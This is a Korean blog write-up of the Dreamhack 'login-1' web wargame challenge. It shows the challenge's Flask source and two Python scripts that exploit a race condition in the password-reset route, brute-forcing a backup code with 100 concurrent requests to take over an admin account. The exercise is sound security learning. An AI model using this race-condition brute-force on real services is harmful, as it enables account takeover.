학습 기록일지

Dreamhack - login-1 본문

워게임/웹

Dreamhack - login-1

KRMP 2021. 7. 7. 22:04

웹 3레벨 login관련 문제이다.

 

writeup을 작성할때 https://codethief.io/ko/sending-simultaneous-requests-using-python/ 도움이 많이됨

 

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import sqlite3
import hashlib
import os
import time, random

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = "database.db"

userLevel = {
    0 : 'guest',
    1 : 'admin'
}
MAXRESETCOUNT = 5

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

def makeBackupcode():
    return random.randrange(100)

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get("userid")
        password = request.form.get("password")

        conn = get_db()
        cur = conn.cursor()
        #스크립트를 실행시키는데, password를 암호화하여 조건으로 줌
        user = cur.execute('SELECT * FROM user WHERE id = ? and pw = ?', (userid, hashlib.sha256(password.encode()).hexdigest() )).fetchone()
        #SELECT * FROM user WHERE id = 'guest' and "1"="1"' and pw = ?'
        if user:
            session['idx'] = user['idx']
            session['userid'] = user['id']
            session['name'] = user['name']
            session['level'] = userLevel[user['level']]
            return redirect(url_for('index'))

        return "<script>alert('Wrong id/pw');history.back(-1);</script>";

@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('index'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    else:
        userid = request.form.get("userid")
        password = request.form.get("password")
        name = request.form.get("name")

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            return "<script>alert('Already Exists userid.');history.back(-1);</script>";

        backupCode = makeBackupcode()
        sql = "INSERT INTO user(id, pw, name, level, backupCode) VALUES (?, ?, ?, ?, ?)"
        #유저를 등록. level이 1 이어야하는데, 등록해주는 유저는 0으로 박힘.
        cur.execute(sql, (userid, hashlib.sha256(password.encode()).hexdigest(), name, 0, backupCode))
        conn.commit()
        return render_template("index.html", msg=f"<b>Register Success.</b><br/>Your BackupCode : {backupCode}")

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'GET':
        return render_template('forgot.html')
    else:
        userid = request.form.get("userid")
        newpassword = request.form.get("newpassword")
        backupCode = request.form.get("backupCode", type=int)

        conn = get_db()
        cur = conn.cursor()
        user = cur.execute('SELECT * FROM user WHERE id = ?', (userid,)).fetchone()
        if user:
            # security for brute force Attack.
            time.sleep(1)

            if user['resetCount'] == MAXRESETCOUNT:
                return "<script>alert('reset Count Exceed.');history.back(-1);</script>"
            
            if user['backupCode'] == backupCode:
                newbackupCode = makeBackupcode()
                #100까지 랜덤한 한가지 수를 리턴해주는 함수
                updateSQL = "UPDATE user set pw = ?, backupCode = ?, resetCount = 0 where idx = ?"
                cur.execute(updateSQL, (hashlib.sha256(newpassword.encode()).hexdigest(), newbackupCode, str(user['idx'])))
                msg = f"<b>Password Change Success.</b><br/>New BackupCode : {newbackupCode}"

            else:
                updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?"
                cur.execute(updateSQL, (str(user['idx'])))
                msg = f"Wrong BackupCode !<br/><b>Left Count : </b> {(MAXRESETCOUNT-1)-user['resetCount']}"
            
            conn.commit()
            return render_template("index.html", msg=msg)

        return "<script>alert('User Not Found.');history.back(-1);</script>";


@app.route('/user/<int:useridx>')
def users(useridx):
    conn = get_db()
    cur = conn.cursor()
    user = cur.execute('SELECT * FROM user WHERE idx = ?;', [str(useridx)]).fetchone()
    
    if user:
        return render_template('user.html', user=user)

    return "<script>alert('User Not Found.');history.back(-1);</script>";

@app.route('/admin')
def admin():
    #세션이 있어야하고, 세션의 레벨이[1] = admin 이어야함
    if session and (session['level'] == userLevel[1]):
        return FLAG

    return "Only Admin !"

app.run(host='0.0.0.0', port=8000)

login문제의 소스코드이다.. 몇가지 특이한점을 정리해보자면

guest 와 admin 의 권한을 0, 1로 나누어놨음.

게정을 등록할 때 해시값으로 인코딩.

forgot_password에서 비밀번호를 5번 이상 틀릴경우 재시도 불가.

/user/[backupCode] : 백업코드로 사용자의 정보를 가져옴

/admin : url로 접근하면 권한이 1인 사용자만 접근이 가능한 관리자 페이지가 존재함

/forgot_password : 사용자가 비밀번호를 잊어버렸을때 id, 바꿔줄 비밀번호, backupCode 를 입력함으로서 일치한다면 비밀번호를 변경해줌. 다만 sleep(1)을 걸어서 1초 내에 여러 접근이 발생할 경우 레이스 컨디션 취약점이 발생함

 

<화면설명>

화면1 - login화면

 

화면2 - register화면

회원가입을 할 수 있는 화면이다.

회원가입에 성공하면 다음과 같이 백업 코드를 발급해줌.

백업 코드는 위 소스에서 확인할수 있듯이 1~100까지 주는듯.

직접 회원가입은 UserLevel이 0으로 박힘

 

 

 

화면3 - forgot_password

취약점이 존재하는 화면

 

 

<풀이>

/admin 페이지로 이동하여 플래그를 얻기 위해 UserLevel 1인 유저로 로그인을 시도해야함.

 

소스에서 확인한 사용자 정보를 확인할 수 있는 /user/[backupCode]를 입력하여 사용자 정보를 확인.

UserLevel 1이 필요함.  위 coconut 유저를 사용하자.

 

해당 유저로 로그인을 시도하려 했으나 비밀번호를 모르고, forgot_password에서 비밀번호를 초기화시키는 방법을 사용.

최대 5번 시도가 가능한걸로 보인다. 1~100 까지의 수들 중 랜덤으로 만들어진 수를 찾아내기는 힘들기에, 

소스에서 sleep(1) 이 걸린 타이밍에 스레드로 100번까지 요청을 보내면 될거같다.

 

== 소스코드 ==

from concurrent.futures import ThreadPoolExecutor

import requests

 

def multiply_by_2(n):

    return requests.post("http://host1.dreamhack.games:12299/forgot_password", 

        data={

            'userid':"Dog",

            'newpassword' : 'test',

            'backupCode' : n

            }

        )



def main():

    values = [i for i in range(100)]

    with ThreadPoolExecutor(max_workers=100) as executor:

        results = executor.map(multiply_by_2, values)

        for result in results:

            print(result.content)

 

if __name__ == '__main__':

    main()

===========

해당 소스코드는 스레드로 100개의 작업을 backupCode만 바꿔서 요청을 보낸다.

비밀번호를 test로 바꾸며 약 0.8초정도 가 걸렸음.

 

로그인 성공

id : coconut, pw : test  로그인 시도

/admin 이동시 플래그 휙득

 

 

 

 

 

다른방법

=============

 

import requests

import threading

url = 'http://host1.dreamhack.games:12299/forgot_password'

for i in range(100):

    params = {'userid': 'Apple', 'newpassword':'test', 'backupCode':i}

    print(params)

    th = threading.Thread(target=requests.post, args=(url, params))

    th.start()

'워게임 > ' 카테고리의 다른 글

Dreamhack - PHP  (0) 2021.07.08
Dreamhack - file-csp-1  (0) 2021.06.29